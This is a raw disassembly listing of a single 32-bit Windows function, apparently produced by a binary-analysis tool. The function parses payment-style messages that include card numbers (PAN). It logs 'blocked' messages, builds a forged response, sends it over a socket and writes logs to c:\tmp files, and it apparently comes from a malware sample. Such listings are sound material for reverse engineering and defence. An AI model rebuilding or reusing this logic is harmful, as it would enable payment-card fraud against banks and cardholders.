Function at 0x10005390
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x1001b8d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
or eax, 0xffffffff
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x310], eax
xor eax, eax
push ebx
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x310]
push eax
lea edx, [ebp - 0x318]
push edx
lea eax, [ebp - 0x314]
push eax
mov eax, dword [ebp + 0x10]
lea edx, [ebp - 0x30c]
xor ebx, ebx
push edx
push eax
push ecx
mov dword [ebp - 0x308], ecx
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x28], bl
mov dword [ebp - 0x27], ebx
mov dword [ebp - 0x23], ebx
mov dword [ebp - 0x1f], ebx
mov word [ebp - 0x1b], bx
call fcn.10001cf0
add esp, 0x20
cmp eax, ebx
je 0x10005446
push eax
push str.GetMsgFields___err_d
call fcn.10004c30
add esp, 8
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008b3b
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x310]
push esi
push edi
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x318]
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x314]
push eax
mov eax, dword [ebp - 0x30c]
push ecx
push edx
push eax
push str.Message_msg_d__ct_d__pc_d__sd_d__pan_s__date_s_
call fcn.10004c30
mov eax, dword [ebp - 0x30c]
add esp, 0x1c
cmp eax, 0x64
je 0x1000548f
cmp eax, 0xc8
jne 0x10005818
mov eax, 0xcccccccd
mul dword [ebp - 0x314]
shr edx, 3
cmp edx, 9
jne 0x10005818
lea ecx, [ebp - 0x18]
push ecx
call fcn.10005280
add esp, 4
test al, al
je 0x10005818
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 0x30c]
lea edx, [ebp - 0x18]
push edx
push eax
push ecx
push str.Blocked_Message_msg_d__sd_d__pan_s_
call fcn.10004c30
xor eax, eax
push 0x9b
lea edx, [ebp - 0x2d8]
push ebx
push edx
mov dword [ebp - 0x2fc], ebx
mov byte [ebp - 0x2f8], bl
mov dword [ebp - 0x2f7], eax
mov dword [ebp - 0x2f3], eax
mov dword [ebp - 0x2ef], eax
mov dword [ebp - 0x2eb], eax
mov dword [ebp - 0x2e7], eax
mov dword [ebp - 0x2e3], eax
mov dword [ebp - 0x2df], eax
mov word [ebp - 0x2db], ax
mov byte [ebp - 0x2d9], al
call fcn.10007ec0
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
add esp, 0x1c
push 0x1000
push 0x40
call esi
mov edi, eax
cmp edi, ebx
je 0x10005818
push 0x1000
push 0x40
call esi
mov esi, eax
cmp esi, ebx
je 0x10005818
lea eax, [ebp - 0x18]
push eax
call fcn.100052b0
mov edx, dword [ebp + 0x10]
movzx ecx, al
mov eax, dword [ebp - 0x308]
push edx
push eax
push edi
mov dword [ebp - 0x304], ecx
call fcn.100082a0
mov edx, dword [ebp - 0x304]
movzx ecx, word [ebp + 0x10]
push edx
lea eax, [ebp - 0x2f8]
push eax
push ebx
mov dword [ebp - 0x2fc], ecx
push ebx
lea ecx, [ebp - 0x2fc]
push ecx
push edi
call fcn.10002bc0
add esp, 0x28
mov dword [ebp - 0x304], eax
cmp eax, ebx
jne 0x10005738
cmp dword [ebp + 8], ebx
je 0x10005672
mov eax, dword [ebp - 0x2fc]
add eax, 5
mov edx, eax
mov dword [ebp - 0x2fc], eax
shr edx, 8
mov byte [ebp - 0x308], dl
mov byte [ebp - 0x307], bl
mov byte [ebp - 0x307], al
mov ax, word [ebp - 0x308]
mov dword [ebp - 0x304], 6
mov edx, dword [ebp - 0x304]
xor cl, cl
mov dword [esi + 2], edx
mov word [esi], ax
mov byte [esi + 6], cl
movzx eax, word [ebp - 0x2fc]
sub eax, 5
push eax
lea ecx, [esi + 7]
push edi
push ecx
call fcn.100082a0
movzx edx, word [ebp - 0x2fc]
mov eax, dword [ebp + 8]
add esp, 0xc
push ebx
add edx, 2
push edx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x304], eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, dword [ebp - 0x304]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
push str.send_socket0x_X__ret_d__err_d
call fcn.10004c30
movzx eax, word [ebp - 0x2fc]
add esp, 0x10
push 0x10016390
add eax, 2
push eax
push esi
call fcn.10004ef0
push 0x103
lea ecx, [ebp - 0x12b]
push ebx
push ecx
mov byte [ebp - 0x12c], bl
call fcn.10007ec0
add esp, 0xc
lea eax, [ebp - 0x23c]
xor edx, edx
push eax
mov word [ebp - 0x23c], dx
mov dword [ebp - 0x23a], ebx
mov dword [ebp - 0x236], ebx
mov dword [ebp - 0x232], ebx
mov word [ebp - 0x22e], bx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push str.c:_tmp_suc.dat
lea ecx, [ebp - 0x12c]
push 0x100161c0
push ecx
call fcn.10008b4a
movzx edx, word [ebp - 0x230]
movzx eax, word [ebp - 0x232]
movzx ecx, word [ebp - 0x234]
push edx
movzx edx, word [ebp - 0x236]
push eax
movzx eax, word [ebp - 0x23a]
push ecx
push edx
push eax
lea ecx, [ebp - 0x2bb]
push str._02d_02d_02d_02d_02d
push ecx
call fcn.10008b4a
lea edx, [ebp - 0x2f8]
push 0xbb
push edx
call fcn.10004bb0
add esp, 0x30
push ebx
push 0xbb
lea eax, [ebp - 0x2f8]
push eax
lea ecx, [ebp - 0x12c]
push ecx
jmp 0x100057f1
push eax
push str.DL_MAKERESPOND___err_d
call fcn.10004c30
push 0xff
lea edx, [ebp - 0x22b]
push ebx
push edx
mov byte [ebp - 0x22c], bl
call fcn.10007ec0
push 0x103
lea eax, [ebp - 0x12b]
push ebx
push eax
mov byte [ebp - 0x12c], bl
call fcn.10007ec0
push str.c:_tmperr.dat
lea ecx, [ebp - 0x12c]
push 0x100161c0
push ecx
call fcn.10008b4a
mov edx, dword [ebp - 0x304]
push edx
lea eax, [ebp - 0x22c]
push 0x1001641c
push eax
call fcn.10008b4a
lea eax, [ebp - 0x22c]
add esp, 0x38
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100057b0
push ebx
sub eax, edx
push eax
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x12c]
push edx
call fcn.10004fa0
movzx eax, word [ebp - 0x2fc]
push eax
push edi
call fcn.10004bb0
movzx ecx, word [ebp - 0x2fc]
add esp, 8
push 1
push ecx
push edi
lea edx, [ebp - 0x12c]
push edx
call fcn.10004fa0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call edi
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008b3b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10008b3b
mov esp, ebp
pop ebp
ret